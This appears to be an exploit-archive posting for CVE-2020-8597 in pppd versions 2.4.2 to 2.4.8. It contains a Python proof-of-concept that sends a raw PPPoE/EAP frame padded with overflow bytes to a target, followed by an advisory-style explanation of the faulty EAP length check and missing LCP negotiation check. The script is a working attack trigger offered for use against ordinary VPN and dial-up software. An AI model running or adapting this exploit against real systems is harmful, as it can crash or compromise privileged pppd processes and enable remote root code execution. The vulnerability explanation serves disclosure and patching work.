# Exploit Title:  (Point to Point Protocol Daemon) versions 2.4.2 through
2.4.8 are vulnerable to buffer overflow - remote
# Author: nu11secur1ty
# Date: 2020-03-18
# Vendor: Point to Point Protocol Daemon
# Link:
https://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-8597
# CVE: CVE-2020-8597



[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)
[+] Website: https://www.nu11secur1ty.com/
[+] Source:  readme from GitHUB
[+] twitter.com/nu11secur1ty


[Exploit Program Code]

#!/usr/bin/python3
# https://kb.cert.org/vuls/id/782301/
from socket import *

def sendeth(dst, src, eth_type, payload, interface = "eth0"):
  """Send raw Ethernet packet on interface."""

  assert(len(src) == len(dst) == 6) # 48-bit
  assert(len(eth_type) == 2) # 16-bit

  s = socket(AF_PACKET, SOCK_RAW)

  s.bind((interface, 0))
  return s.send(src + dst + eth_type + payload)

if __name__ == "__main__":
  print("Sent %d-byte Ethernet packet on eth0" %
    sendeth("\xc4\x54\x44\x2b\x90\x86",
           "\x54\xe1\xad\xe8\x4f\x49",
            "\x88\x64" ,
            "\x11\x00" \

"\x00\x04\x00\x5a\xc2\x27\x01\xd3\x00\x58\x04\x12\xef\x0a\x5c\x97" \

"\x2e\xcf\xae\xb3\x30\x73\x10\xe9\x9d\x81\xf9\xb0\xde\xcf\x41\x41" \

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \

"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \
            "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
))

[Product]
Point to Point Protocol Daemon


[Security Issue]
By sending an unsolicited EAP packet to a vulnerable ppp client or server,
an unauthenticated remote attacker could cause memory corruption in the
pppd process, which may allow for arbitrary code execution.


[References]
PPP is the protocol used for establishing internet links over dial-up
modems, DSL connections, and many other types of point-to-point links
including Virtual Private Networks (VPN) such as Point to Point Tunneling
Protocol (PPTP). The pppd software can also authenticate a network
connected peer and/or supply authentication information to the peer using
multiple authentication protocols including EAP.
Due to a flaw in the Extensible Authentication Protocol (EAP) packet
processing in the Point-to-Point Protocol Daemon (pppd), an unauthenticated
remote attacker may be able to cause a stack buffer overflow, which may
allow arbitrary code execution on the target system. This vulnerability is
due to an error in validating the size of the input before copying the
supplied data into memory. As the validation of the data size is incorrect,
arbitrary data can be copied into memory and cause memory corruption
possibly leading to execution of unwanted code.
The vulnerability is in the logic of the eap parsing code, specifically in
the eap_request() and eap_response() functions in eap.c that are called by
a network input handler. These functions take a pointer and length as input
using the the first byte as a type. If the type is EAPT_MD5CHAP(4), it
looks at an embedded 1-byte length field. The logic in this code is
intended to makes sure that embedded length is smaller than the whole
packet length. After this verification, it tries to copy provided data
(hostname) that is located after the embedded length field into a local
stack buffer. This bounds check is incorrect and allows for memory copy to
happen with an arbitrary length of data.
An additional logic flaw causes the eap_input() function to not check if
EAP has been negotiated during the Line Control Protocol (LCP) phase. This
allows an unauthenticated attacker to send an EAP packet even if ppp
refused the authentication negotiation due to lack of support for EAP or
due to mismatch of an agreed pre-shared passphrase in the LCP phase. The
vulnerable pppd code in eap_input will still process the EAP packet and
trigger the stack buffer overflow. This unverified data with an unknown
size can be used to corrupt memory of the target system. The pppd often
runs with high privileges (system or root) and works in conjunction with
kernel drivers. This makes it possible for an attacker to potentially
execute arbitrary code with system or root level privileges.
The pppd software is also adopted into lwIP (lightweight IP) project to
provide pppd capabilities for small devices. The default installer and
packages of lwIP are not vulnerable to this buffer overflow. However if you
have used the lwIP source code and configured specifically to enable EAP at
compile time, your software is likely vulnerable to the buffer overflow.
The recommended update is available from Git repoistory
http://git.savannah.nongnu.org/cgit/lwip.git.



BR
-- 

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>